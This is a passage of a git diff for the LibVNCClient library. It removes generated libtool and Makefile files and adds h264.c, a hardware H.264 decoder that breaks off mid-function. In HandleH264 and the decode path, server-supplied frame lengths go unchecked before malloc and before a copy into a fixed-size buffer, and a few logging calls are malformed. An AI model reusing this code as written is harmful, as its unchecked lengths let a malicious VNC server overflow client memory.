-If OUTPUT-FILE ends in \`.lo' or \`.${objext}', then a reloadable object file
-is created, otherwise an executable program is created."
- ;;
-
-uninstall)
- $echo \
-"Usage: $modename [OPTION]... --mode=uninstall RM [RM-OPTION]... FILE...
-
-Remove libraries from an installation directory.
-
-RM is the name of the program to use to delete files associated with each FILE
-(typically \`/bin/rm'). RM-OPTIONS are options (such as \`-f') to be passed
-to RM.
-
-If FILE is a libtool library, all the files associated with it are deleted.
-Otherwise, only FILE itself is deleted using RM."
- ;;
-
-*)
- $echo "$modename: invalid operation mode \`$mode'" 1>&2
- $echo "$help" 1>&2
- exit $EXIT_FAILURE
- ;;
-esac
-
-$echo
-$echo "Try \`$modename --help' for more information about other modes."
-
-exit $?
-
-# The TAGs below are defined such that we never get into a situation
-# in which we disable both kinds of libraries. Given conflicting
-# choices, we go for a static library, that is the most portable,
-# since we can't tell whether shared libraries were disabled because
-# the user asked for that or because the platform doesn't support
-# them. This is particularly important on AIX, because we don't
-# support having both static and shared libraries enabled at the same
-# time on that platform, so we default to a shared-only configuration.
-# If a disable-shared tag is given, we'll fallback to a static-only
-# configuration. But we'll never go from static-only to shared-only.
-
-# ### BEGIN LIBTOOL TAG CONFIG: disable-shared
-disable_libs=shared
-# ### END LIBTOOL TAG CONFIG: disable-shared
-
-# ### BEGIN LIBTOOL TAG CONFIG: disable-static
-disable_libs=static
-# ### END LIBTOOL TAG CONFIG: disable-static
-
-# Local Variables:
-# mode:shell-script
-# sh-indentation:2
-# End:
-# ### BEGIN LIBTOOL TAG CONFIG: CXX
-
-# Libtool was configured on host android-dev:
-
-# Shell to use when invoking shell scripts.
-SHELL="/bin/bash"
-
-# Whether or not to build shared libraries.
-build_libtool_libs=yes
-
-# Whether or not to build static libraries.
-build_old_libs=yes
-
-# Whether or not to add -lc for building shared libraries.
-build_libtool_need_lc=no
-
-# Whether or not to disallow shared libs when runtime libs are static
-allow_libtool_libs_with_static_runtimes=no
-
-# Whether or not to optimize for fast installation.
-fast_install=yes
-
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-# LTCC compiler flags.
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-# A language-specific compiler.
-CC="g++"
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-# Is the compiler the GNU C compiler?
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-# An ERE matcher.
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diff --git a/libvncclient.pc b/libvncclient.pc
deleted file mode 100644
index 346899b..0000000
--- a/libvncclient.pc
+++ /dev/null
@@ -1,12 +0,0 @@
-prefix=/usr/local
-exec_prefix=${prefix}
-libdir=${exec_prefix}/lib
-includedir=${prefix}/include
-
-Name: LibVNCClient
-Description: A library for easy implementation of a VNC client.
-Version: 0.9.9
-Requires:
-Libs: -L${libdir} -lvncclient -lnsl -lpthread -lz -lpng -ljpeg -lresolv
-Cflags: -I${includedir}
-
diff --git a/libvncclient.pc.in b/libvncclient.pc.in
index 143dc46..37495e7 100644
--- a/libvncclient.pc.in
+++ b/libvncclient.pc.in
@@ -7,6 +7,8 @@
Description: A library for easy implementation of a VNC client.
Version: @VERSION@
Requires:
-Libs: -L${libdir} -lvncclient @LIBS@ @WSOCKLIB@
+Requires.private: zlib
+Libs: -L${libdir} -lvncclient
+Libs.private: @LIBS@ @WSOCKLIB@
Cflags: -I${includedir}
diff --git a/libvncclient/.deps/cursor.Plo b/libvncclient/.deps/cursor.Plo
deleted file mode 100644
index 9ce06a8..0000000
--- a/libvncclient/.deps/cursor.Plo
+++ /dev/null
@@ -1 +0,0 @@
-# dummy
diff --git a/libvncclient/.deps/listen.Plo b/libvncclient/.deps/listen.Plo
deleted file mode 100644
index 9ce06a8..0000000
--- a/libvncclient/.deps/listen.Plo
+++ /dev/null
@@ -1 +0,0 @@
-# dummy
diff --git a/libvncclient/.deps/minilzo.Plo b/libvncclient/.deps/minilzo.Plo
deleted file mode 100644
index 9ce06a8..0000000
--- a/libvncclient/.deps/minilzo.Plo
+++ /dev/null
@@ -1 +0,0 @@
-# dummy
diff --git a/libvncclient/.deps/rfbproto.Plo b/libvncclient/.deps/rfbproto.Plo
deleted file mode 100644
index 9ce06a8..0000000
--- a/libvncclient/.deps/rfbproto.Plo
+++ /dev/null
@@ -1 +0,0 @@
-# dummy
diff --git a/libvncclient/.deps/sockets.Plo b/libvncclient/.deps/sockets.Plo
deleted file mode 100644
index 9ce06a8..0000000
--- a/libvncclient/.deps/sockets.Plo
+++ /dev/null
@@ -1 +0,0 @@
-# dummy
diff --git a/libvncclient/.deps/tls_gnutls.Plo b/libvncclient/.deps/tls_gnutls.Plo
deleted file mode 100644
index 9ce06a8..0000000
--- a/libvncclient/.deps/tls_gnutls.Plo
+++ /dev/null
@@ -1 +0,0 @@
-# dummy
diff --git a/libvncclient/.deps/tls_none.Plo b/libvncclient/.deps/tls_none.Plo
deleted file mode 100644
index 9ce06a8..0000000
--- a/libvncclient/.deps/tls_none.Plo
+++ /dev/null
@@ -1 +0,0 @@
-# dummy
diff --git a/libvncclient/.deps/tls_openssl.Plo b/libvncclient/.deps/tls_openssl.Plo
deleted file mode 100644
index 9ce06a8..0000000
--- a/libvncclient/.deps/tls_openssl.Plo
+++ /dev/null
@@ -1 +0,0 @@
-# dummy
diff --git a/libvncclient/.deps/vncviewer.Plo b/libvncclient/.deps/vncviewer.Plo
deleted file mode 100644
index 9ce06a8..0000000
--- a/libvncclient/.deps/vncviewer.Plo
+++ /dev/null
@@ -1 +0,0 @@
-# dummy
diff --git a/libvncclient/Makefile b/libvncclient/Makefile
deleted file mode 100644
index 0f1fed0..0000000
--- a/libvncclient/Makefile
+++ /dev/null
@@ -1,628 +0,0 @@
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diff --git a/libvncclient/Makefile.am b/libvncclient/Makefile.am
index bf05a39..76bed21 100644
--- a/libvncclient/Makefile.am
+++ b/libvncclient/Makefile.am
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if HAVE_GNUTLS
TLSSRCS = tls_gnutls.c
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+libvncclient_la_LIBADD=$(TLSLIBS) $(VA_LIBS)
noinst_HEADERS=../common/lzodefs.h ../common/lzoconf.h ../common/minilzo.h tls.h
rfbproto.o: rfbproto.c corre.c hextile.c rre.c tight.c zlib.c zrle.c ultra.c
-EXTRA_DIST=corre.c hextile.c rre.c tight.c zlib.c zrle.c ultra.c tls_gnutls.c tls_openssl.c tls_none.c
+EXTRA_DIST=corre.c hextile.c rre.c tight.c zlib.c zrle.c ultra.c tls_gnutls.c tls_openssl.c tls_none.c h264.c
$(libvncclient_la_OBJECTS): ../rfb/rfbclient.h
diff --git a/libvncclient/Makefile.in b/libvncclient/Makefile.in
deleted file mode 100644
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- $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \
- install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \
- install; \
- else \
- $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \
- install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \
- "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'" install; \
- fi
-mostlyclean-generic:
-
-clean-generic:
-
-distclean-generic:
- -test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES)
- -test . = "$(srcdir)" || test -z "$(CONFIG_CLEAN_VPATH_FILES)" || rm -f $(CONFIG_CLEAN_VPATH_FILES)
-
-maintainer-clean-generic:
- @echo "This command is intended for maintainers to use"
- @echo "it deletes files that may require special tools to rebuild."
-clean: clean-am
-
-clean-am: clean-generic clean-libLTLIBRARIES clean-libtool \
- mostlyclean-am
-
-distclean: distclean-am
- -rm -rf ./$(DEPDIR)
- -rm -f Makefile
-distclean-am: clean-am distclean-compile distclean-generic \
- distclean-tags
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-dvi: dvi-am
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- -rm -rf ./$(DEPDIR)
- -rm -f Makefile
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- mostlyclean-libtool
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-.PHONY: CTAGS GTAGS all all-am check check-am clean clean-generic \
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-
-
-rfbproto.o: rfbproto.c corre.c hextile.c rre.c tight.c zlib.c zrle.c ultra.c
-
-$(libvncclient_la_OBJECTS): ../rfb/rfbclient.h
-
-# Tell versions [3.59,3.63) of GNU make to not export all variables.
-# Otherwise a system limit (for SysV at least) may be exceeded.
-.NOEXPORT:
diff --git a/libvncclient/h264.c b/libvncclient/h264.c
new file mode 100644
index 0000000..1d94454
--- /dev/null
+++ b/libvncclient/h264.c
@@ -0,0 +1,644 @@
+/*
+ * Copyright (C) 2012 Intel Corporation. All Rights Reserved.
+ *
+ * This is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This software is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this software; if not, write to the Free Software
+ * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
+ * USA.
+ */
+
+#ifdef LIBVNCSERVER_CONFIG_LIBVA
+
+#include <X11/Xlib.h>
+#include <va/va_x11.h>
+
+enum _slice_types {
+ SLICE_TYPE_P = 0, /* Predicted */
+ SLICE_TYPE_B = 1, /* Bi-predicted */
+ SLICE_TYPE_I = 2, /* Intra coded */
+};
+
+#define SURFACE_NUM 7
+
+VADisplay va_dpy = NULL;
+VAConfigID va_config_id;
+VASurfaceID va_surface_id[SURFACE_NUM];
+VAContextID va_context_id = 0;
+
+VABufferID va_pic_param_buf_id[SURFACE_NUM];
+VABufferID va_mat_param_buf_id[SURFACE_NUM];
+VABufferID va_sp_param_buf_id[SURFACE_NUM];
+VABufferID va_d_param_buf_id[SURFACE_NUM];
+
+static int cur_height = 0;
+static int cur_width = 0;
+static unsigned int num_frames = 0;
+static int sid = 0;
+static unsigned int frame_id = 0;
+static int field_order_count = 0;
+static VASurfaceID curr_surface = VA_INVALID_ID;
+
+VAStatus gva_status;
+VASurfaceStatus gsurface_status;
+#define CHECK_SURF(X) \
+ gva_status = vaQuerySurfaceStatus(va_dpy, X, &gsurface_status); \
+ if (gsurface_status != 4) printf("ss: %d\n", gsurface_status);
+
+#ifdef _DEBUG
+#define DebugLog(A) rfbClientLog A
+#else
+#define DebugLog(A)
+#endif
+
+#define CHECK_VASTATUS(va_status,func) \
+ if (va_status != VA_STATUS_SUCCESS) { \
+ /*fprintf(stderr,"%s:%s (%d) failed,exit\n", __func__, func, __LINE__);*/ \
+ rfbClientErr("%s:%s:%d failed (0x%x),exit\n", __func__, func, __LINE__, va_status); \
+ exit(1); \
+ } else { \
+ /*fprintf(stderr,">> SUCCESS for: %s:%s (%d)\n", __func__, func, __LINE__);*/ \
+ DebugLog(("%s:%s:%d success\n", __func__, func, __LINE__)); \
+ }
+
+/*
+ * Forward declarations
+ */
+static void h264_decode_frame(int f_width, int f_height, char *framedata, int framesize, int slice_type);
+static void SetVAPictureParameterBufferH264(VAPictureParameterBufferH264 *p, int width, int height);
+static void SetVASliceParameterBufferH264(VASliceParameterBufferH264 *p);
+static void SetVASliceParameterBufferH264_Intra(VASliceParameterBufferH264 *p, int first);
+
+static void put_updated_rectangle(rfbClient *client, int x, int y, int width, int height, int f_width, int f_height, int first_for_frame);
+static void nv12_to_rgba(const VAImage vaImage, rfbClient *client, int ch_x, int ch_y, int ch_w, int ch_h);
+
+
+/* FIXME: get this value from the server instead of hardcoding 32bit pixels */
+#define BPP (4 * 8)
+
+static const char *string_of_FOURCC(uint32_t fourcc)
+{
+ static int buf;
+ static char str[2][5];
+
+ buf ^= 1;
+ str[buf][0] = fourcc;
+ str[buf][1] = fourcc >> 8;
+ str[buf][2] = fourcc >> 16;
+ str[buf][3] = fourcc >> 24;
+ str[buf][4] = '\0';
+ return str[buf];
+}
+
+static inline const char *string_of_VAImageFormat(VAImageFormat *imgfmt)
+{
+ return string_of_FOURCC(imgfmt->fourcc);
+}
+
+
+static rfbBool
+HandleH264 (rfbClient* client, int rx, int ry, int rw, int rh)
+{
+ rfbH264Header hdr;
+ char *framedata;
+
+ DebugLog(("Framebuffer update with H264 (x: %d, y: %d, w: %d, h: %d)\n", rx, ry, rw, rh));
+
+ /* First, read the frame size and allocate buffer to store the data */
+ if (!ReadFromRFBServer(client, (char *)&hdr, sz_rfbH264Header))
+ return FALSE;
+
+ hdr.slice_type = rfbClientSwap32IfLE(hdr.slice_type);
+ hdr.nBytes = rfbClientSwap32IfLE(hdr.nBytes);
+ hdr.width = rfbClientSwap32IfLE(hdr.width);
+ hdr.height = rfbClientSwap32IfLE(hdr.height);
+
+ framedata = (char*) malloc(hdr.nBytes);
+
+ /* Obtain frame data from the server */
+ DebugLog(("Reading %d bytes of frame data (type: %d)\n", hdr.nBytes, hdr.slice_type));
+ if (!ReadFromRFBServer(client, framedata, hdr.nBytes))
+ return FALSE;
+
+ /* First make sure we have a large enough raw buffer to hold the
+ * decompressed data. In practice, with a fixed BPP, fixed frame
+ * buffer size and the first update containing the entire frame
+ * buffer, this buffer allocation should only happen once, on the
+ * first update.
+ */
+ if ( client->raw_buffer_size < (( rw * rh ) * ( BPP / 8 ))) {
+ if ( client->raw_buffer != NULL ) {
+ free( client->raw_buffer );
+ }
+
+ client->raw_buffer_size = (( rw * rh ) * ( BPP / 8 ));
+ client->raw_buffer = (char*) malloc( client->raw_buffer_size );
+ rfbClientLog("Allocated raw buffer of %d bytes (%dx%dx%d BPP)\n", client->raw_buffer_size, rw, rh, BPP);
+ }
+
+ /* Decode frame if frame data was sent. Server only sends frame data for the first
+ * framebuffer update message for a particular frame buffer contents.
+ * If more than 1 rectangle is updated, the messages after the first one (with
+ * the H.264 frame) have nBytes == 0.
+ */
+ if (hdr.nBytes > 0) {
+ DebugLog((" decoding %d bytes of H.264 data\n", hdr.nBytes));
+ h264_decode_frame(hdr.width, hdr.height, framedata, hdr.nBytes, hdr.slice_type);
+ }
+
+ DebugLog((" updating rectangle (%d, %d)-(%d, %d)\n", rx, ry, rw, rh));
+ put_updated_rectangle(client, rx, ry, rw, rh, hdr.width, hdr.height, hdr.nBytes != 0);
+
+ free(framedata);
+
+ return TRUE;
+}
+
+static void h264_cleanup_decoder()
+{
+ VAStatus va_status;
+
+ rfbClientLog("%s()\n", __FUNCTION__);
+
+ if (va_surface_id[0] != VA_INVALID_ID) {
+ va_status = vaDestroySurfaces(va_dpy, &va_surface_id[0], SURFACE_NUM);
+ CHECK_VASTATUS(va_status, "vaDestroySurfaces");
+ }
+
+ if (va_context_id) {
+ va_status = vaDestroyContext(va_dpy, va_context_id);
+ CHECK_VASTATUS(va_status, "vaDestroyContext");
+ va_context_id = 0;
+ }
+
+ num_frames = 0;
+ sid = 0;
+ frame_id = 0;
+ field_order_count = 0;
+}
+
+static void h264_init_decoder(int width, int height)
+{
+ VAStatus va_status;
+
+ if (va_context_id) {
+ rfbClientLog("%s: va_dpy already initialized\n", __FUNCTION__);
+ }
+
+ if (va_dpy != NULL) {
+ rfbClientLog("%s: Re-initializing H.264 decoder\n", __FUNCTION__);
+ }
+ else {
+ rfbClientLog("%s: initializing H.264 decoder\n", __FUNCTION__);
+
+ /* Attach VA display to local X display */
+ Display *win_display = (Display *)XOpenDisplay(":0.0");
+ if (win_display == NULL) {
+ rfbClientErr("Can't connect to local display\n");
+ exit(-1);
+ }
+
+ int major_ver, minor_ver;
+ va_dpy = vaGetDisplay(win_display);
+ va_status = vaInitialize(va_dpy, &major_ver, &minor_ver);
+ CHECK_VASTATUS(va_status, "vaInitialize");
+ rfbClientLog("%s: libva version %d.%d found\n", __FUNCTION__, major_ver, minor_ver);
+ }
+
+ /* Check for VLD entrypoint */
+ int num_entrypoints;
+ VAEntrypoint entrypoints[5];
+ int vld_entrypoint_found = 0;
+
+ /* Change VAProfileH264High if needed */
+ VAProfile profile = VAProfileH264High;
+ va_status = vaQueryConfigEntrypoints(va_dpy, profile, entrypoints, &num_entrypoints);
+ CHECK_VASTATUS(va_status, "vaQueryConfigEntrypoints");
+ int i;
+ for (i = 0; i < num_entrypoints; ++i) {
+ if (entrypoints[i] == VAEntrypointVLD) {
+ vld_entrypoint_found = 1;
+ break;
+ }
+ }
+
+ if (vld_entrypoint_found == 0) {
+ rfbClientErr("VLD entrypoint not found\n");
+ exit(1);
+ }
+
+ /* Create configuration for the decode pipeline */
+ VAConfigAttrib attrib;
+ attrib.type = VAConfigAttribRTFormat;
+ va_status = vaCreateConfig(va_dpy, profile, VAEntrypointVLD, &attrib, 1, &va_config_id);
+ CHECK_VASTATUS(va_status, "vaCreateConfig");
+
+ /* Create VA surfaces */
+ for (i = 0; i < SURFACE_NUM; ++i) {
+ va_surface_id[i] = VA_INVALID_ID;
+ va_pic_param_buf_id[i] = VA_INVALID_ID;
+ va_mat_param_buf_id[i] = VA_INVALID_ID;
+ va_sp_param_buf_id[i] = VA_INVALID_ID;
+ va_d_param_buf_id[i] = VA_INVALID_ID;
+ }
+ va_status = vaCreateSurfaces(va_dpy, width, height, VA_RT_FORMAT_YUV420, SURFACE_NUM, &va_surface_id[0]);
+ CHECK_VASTATUS(va_status, "vaCreateSurfaces");
+ for (i = 0; i < SURFACE_NUM; ++i) {
+ DebugLog(("%s: va_surface_id[%d] = %p\n", __FUNCTION__, i, va_surface_id[i]));
+ }
+
+ /* Create VA context */
+ va_status = vaCreateContext(va_dpy, va_config_id, width, height, 0/*VA_PROGRESSIVE*/, &va_surface_id[0], SURFACE_NUM, &va_context_id);
+ CHECK_VASTATUS(va_status, "vaCreateContext");
+ DebugLog(("%s: VA context created (id: %d)\n", __FUNCTION__, va_context_id));
+
+
+ /* Instantiate decode pipeline */
+ va_status = vaBeginPicture(va_dpy, va_context_id, va_surface_id[0]);
+ CHECK_VASTATUS(va_status, "vaBeginPicture");
+
+ rfbClientLog("%s: H.264 decoder initialized\n", __FUNCTION__);
+}
+
+static void h264_decode_frame(int f_width, int f_height, char *framedata, int framesize, int slice_type)
+{
+ VAStatus va_status;
+
+ DebugLog(("%s: called for frame of %d bytes (%dx%d) slice_type=%d\n", __FUNCTION__, framesize, width, height, slice_type));
+
+ /* Initialize decode pipeline if necessary */
+ if ( (f_width > cur_width) || (f_height > cur_height) ) {
+ if (va_dpy != NULL)
+ h264_cleanup_decoder();
+ cur_width = f_width;
+ cur_height = f_height;
+
+ h264_init_decoder(f_width, f_height);
+ rfbClientLog("%s: decoder initialized\n", __FUNCTION__);
+ }
+
+ /* Decode frame */
+ static VAPictureH264 va_picture_h264, va_old_picture_h264;
+
+ /* The server should always send an I-frame when a new client connects
+ * or when the resolution of the framebuffer changes, but we check
+ * just in case.
+ */
+ if ( (slice_type != SLICE_TYPE_I) && (num_frames == 0) ) {
+ rfbClientLog("First frame is not an I frame !!! Skipping!!!\n");
+ return;
+ }
+
+ DebugLog(("%s: frame_id=%d va_surface_id[%d]=0x%x field_order_count=%d\n", __FUNCTION__, frame_id, sid, va_surface_id[sid], field_order_count));
+
+ va_picture_h264.picture_id = va_surface_id[sid];
+ va_picture_h264.frame_idx = frame_id;
+ va_picture_h264.flags = 0;
+ va_picture_h264.BottomFieldOrderCnt = field_order_count;
+ va_picture_h264.TopFieldOrderCnt = field_order_count;
+
+ /* Set up picture parameter buffer */
+ if (va_pic_param_buf_id[sid] == VA_INVALID_ID) {
+ va_status = vaCreateBuffer(va_dpy, va_context_id, VAPictureParameterBufferType, sizeof(VAPictureParameterBufferH264), 1, NULL, &va_pic_param_buf_id[sid]);
+ CHECK_VASTATUS(va_status, "vaCreateBuffer(PicParam)");
+ }
+ CHECK_SURF(va_surface_id[sid]);
+
+ VAPictureParameterBufferH264 *pic_param_buf = NULL;
+ va_status = vaMapBuffer(va_dpy, va_pic_param_buf_id[sid], (void **)&pic_param_buf);
+ CHECK_VASTATUS(va_status, "vaMapBuffer(PicParam)");
+
+ SetVAPictureParameterBufferH264(pic_param_buf, f_width, f_height);
+ memcpy(&pic_param_buf->CurrPic, &va_picture_h264, sizeof(VAPictureH264));
+
+ if (slice_type == SLICE_TYPE_P) {
+ memcpy(&pic_param_buf->ReferenceFrames[0], &va_old_picture_h264, sizeof(VAPictureH264));
+ pic_param_buf->ReferenceFrames[0].flags = 0;
+ }
+ else if (slice_type != SLICE_TYPE_I) {
+ rfbClientLog("Frame type %d not supported!!!\n");
+ return;
+ }
+ pic_param_buf->frame_num = frame_id;
+
+ va_status = vaUnmapBuffer(va_dpy, va_pic_param_buf_id[sid]);
+ CHECK_VASTATUS(va_status, "vaUnmapBuffer(PicParam)");
+
+ /* Set up IQ matrix buffer */
+ if (va_mat_param_buf_id[sid] == VA_INVALID_ID) {
+ va_status = vaCreateBuffer(va_dpy, va_context_id, VAIQMatrixBufferType, sizeof(VAIQMatrixBufferH264), 1, NULL, &va_mat_param_buf_id[sid]);
+ CHECK_VASTATUS(va_status, "vaCreateBuffer(IQMatrix)");
+ }
+ CHECK_SURF(va_surface_id[sid]);
+
+ VAIQMatrixBufferH264 *iq_matrix_buf = NULL;
+ va_status = vaMapBuffer(va_dpy, va_mat_param_buf_id[sid], (void **)&iq_matrix_buf);
+ CHECK_VASTATUS(va_status, "vaMapBuffer(IQMatrix)");
+
+ static const unsigned char m_MatrixBufferH264[]= {
+ /* ScalingList4x4[6][16] */
+ 0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,
+ 0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,
+ 0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,
+ 0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,
+ 0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,
+ 0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,
+ /* ScalingList8x8[2][64] */
+ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
+ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
+ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
+ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
+ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
+ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
+ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
+ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
+ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
+ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
+ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
+ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
+ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
+ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
+ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
+ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
+ };
+
+ memcpy(iq_matrix_buf, m_MatrixBufferH264, 224);
+ va_status = vaUnmapBuffer(va_dpy, va_mat_param_buf_id[sid]);
+ CHECK_VASTATUS(va_status, "vaUnmapBuffer(IQMatrix)");
+
+ VABufferID buffer_ids[2];
+ buffer_ids[0] = va_pic_param_buf_id[sid];
+ buffer_ids[1] = va_mat_param_buf_id[sid];
+
+ CHECK_SURF(va_surface_id[sid]);
+ va_status = vaRenderPicture(va_dpy, va_context_id, buffer_ids, 2);
+ CHECK_VASTATUS(va_status, "vaRenderPicture");
+
+ /* Set up slice parameter buffer */
+ if (va_sp_param_buf_id[sid] == VA_INVALID_ID) {
+ va_status = vaCreateBuffer(va_dpy, va_context_id, VASliceParameterBufferType, sizeof(VASliceParameterBufferH264), 1, NULL, &va_sp_param_buf_id[sid]);
+ CHECK_VASTATUS(va_status, "vaCreateBuffer(SliceParam)");
+ }
+ CHECK_SURF(va_surface_id[sid]);
+
+ VASliceParameterBufferH264 *slice_param_buf = NULL;
+ va_status = vaMapBuffer(va_dpy, va_sp_param_buf_id[sid], (void **)&slice_param_buf);
+ CHECK_VASTATUS(va_status, "vaMapBuffer(SliceParam)");
+
+ static int t2_first = 1;
+ if (slice_type == SLICE_TYPE_I) {
+ SetVASliceParameterBufferH264_Intra(slice_param_buf, t2_first);
+ t2_first = 0;
+ } else {
+ SetVASliceParameterBufferH264(slice_param_buf);
+ memcpy(&slice_param_buf->RefPicList0[0], &va_old_picture_h264, sizeof(VAPictureH264));
+ slice_param_buf->RefPicList0[0].flags = 0;
+ }
+ slice_param_buf->slice_data_bit_offset = 0;
+ slice_param_buf->slice_data_size = framesize;
+
+ va_status = vaUnmapBuffer(va_dpy, va_sp_param_buf_id[sid]);
+ CHECK_VASTATUS(va_status, "vaUnmapBuffer(SliceParam)");
+ CHECK_SURF(va_surface_id[sid]);
+
+ /* Set up slice data buffer and copy H.264 encoded data */
+ if (va_d_param_buf_id[sid] == VA_INVALID_ID) {
+ /* TODO use estimation matching framebuffer dimensions instead of this large value */
+ va_status = vaCreateBuffer(va_dpy, va_context_id, VASliceDataBufferType, 4177920, 1, NULL, &va_d_param_buf_id[sid]); /* 1080p size */
+ CHECK_VASTATUS(va_status, "vaCreateBuffer(SliceData)");
+ }
+
+ char *slice_data_buf;
+ va_status = vaMapBuffer(va_dpy, va_d_param_buf_id[sid], (void **)&slice_data_buf);
+ CHECK_VASTATUS(va_status, "vaMapBuffer(SliceData)");
+ memcpy(slice_data_buf, framedata, framesize);
+
+ CHECK_SURF(va_surface_id[sid]);
+ va_status = vaUnmapBuffer(va_dpy, va_d_param_buf_id[sid]);
+ CHECK_VASTATUS(va_status, "vaUnmapBuffer(SliceData)");
+
+ buffer_ids[0] = va_sp_param_buf_id[sid];
+ buffer_ids[1] = va_d_param_buf_id[sid];
+
+ CHECK_SURF(va_surface_id[sid]);
+ va_status = vaRenderPicture(va_dpy, va_context_id, buffer_ids, 2);
+ CHECK_VASTATUS(va_status, "vaRenderPicture");
+
+ va_status = vaEndPicture(va_dpy, va_context_id);
+ CHECK_VASTATUS(va_status, "vaEndPicture");
+
+ /* Prepare next one... */
+ int sid_new = (sid + 1) % SURFACE_NUM;
+ DebugLog(("%s: new Surface ID = %d\n", __FUNCTION__, sid_new));
+ va_status = vaBeginPicture(va_dpy, va_context_id, va_surface_id[sid_new]);
+ CHECK_VASTATUS(va_status, "vaBeginPicture");
+
+ /* Get decoded data */
+ va_status = vaSyncSurface(va_dpy, va_surface_id[sid]);
+ CHECK_VASTATUS(va_status, "vaSyncSurface");
+ CHECK_SURF(va_surface_id[sid]);
+
+ curr_surface = va_surface_id[sid];
+
+ sid = sid_new;
+
+ field_order_count += 2;
+ ++frame_id;
+ if (frame_id > 15) {
+ frame_id = 0;
+ }
+
+ ++num_frames;
+
+ memcpy(&va_old_picture_h264, &va_picture_h264, sizeof(VAPictureH264));
+}
+
+static void put_updated_rectangle(rfbClient *client, int x, int y, int width, int height, int f_width, int f_height, int first_for_frame)
+{
+ if (curr_surface == VA_INVALID_ID) {
+ rfbClientErr("%s: called, but current surface is invalid\n", __FUNCTION__);
+ return;
+ }
+
+ VAStatus va_status;
+
+ if (client->outputWindow) {
+ /* use efficient vaPutSurface() method of putting the framebuffer on the screen */
+ if (first_for_frame) {
+ /* vaPutSurface() clears window contents outside the given destination rectangle => always update full screen. */
+ va_status = vaPutSurface(va_dpy, curr_surface, client->outputWindow, 0, 0, f_width, f_height, 0, 0, f_width, f_height, NULL, 0, VA_FRAME_PICTURE);
+ CHECK_VASTATUS(va_status, "vaPutSurface");
+ }
+ }
+ else if (client->frameBuffer) {
+ /* ... or copy the changed framebuffer region manually as a fallback */
+ VAImage decoded_image;
+ decoded_image.image_id = VA_INVALID_ID;
+ decoded_image.buf = VA_INVALID_ID;
+ va_status = vaDeriveImage(va_dpy, curr_surface, &decoded_image);
+ CHECK_VASTATUS(va_status, "vaDeriveImage");
+
+ if ((decoded_image.image_id == VA_INVALID_ID) || (decoded_image.buf == VA_INVALID_ID)) {
+ rfbClientErr("%s: vaDeriveImage() returned success but VA image is invalid (id: %d, buf: %d)\n", __FUNCTION__, decoded_image.image_id, decoded_image.buf);
+ }
+
+ nv12_to_rgba(decoded_image, client, x, y, width, height);
+
+ va_status = vaDestroyImage(va_dpy, decoded_image.image_id);
+ CHECK_VASTATUS(va_status, "vaDestroyImage");
+ }
+}
+
+static void SetVAPictureParameterBufferH264(VAPictureParameterBufferH264 *p, int width, int height)
+{
+ int i;
+ unsigned int width_in_mbs = (width + 15) / 16;
+ unsigned int height_in_mbs = (height + 15) / 16;
+
+ memset(p, 0, sizeof(VAPictureParameterBufferH264));
+ p->picture_width_in_mbs_minus1 = width_in_mbs - 1;
+ p->picture_height_in_mbs_minus1 = height_in_mbs - 1;
+ p->num_ref_frames = 1;
+ p->seq_fields.value = 145;
+ p->pic_fields.value = 0x501;
+ for (i = 0; i < 16; i++) {
+ p->ReferenceFrames[i].flags = VA_PICTURE_H264_INVALID;
+ p->ReferenceFrames[i].picture_id = 0xffffffff;
+ }
+}
+
+static void SetVASliceParameterBufferH264(VASliceParameterBufferH264 *p)
+{
+ int i;
+ memset(p, 0, sizeof(VASliceParameterBufferH264));
+ p->slice_data_size = 0;
+ p->slice_data_bit_offset = 64;
+ p->slice_alpha_c0_offset_div2 = 2;
+ p->slice_beta_offset_div2 = 2;
+ p->chroma_weight_l0_flag = 1;
+ p->chroma_weight_l0[0][0]=1;
+ p->chroma_offset_l0[0][0]=0;
+ p->chroma_weight_l0[0][1]=1;
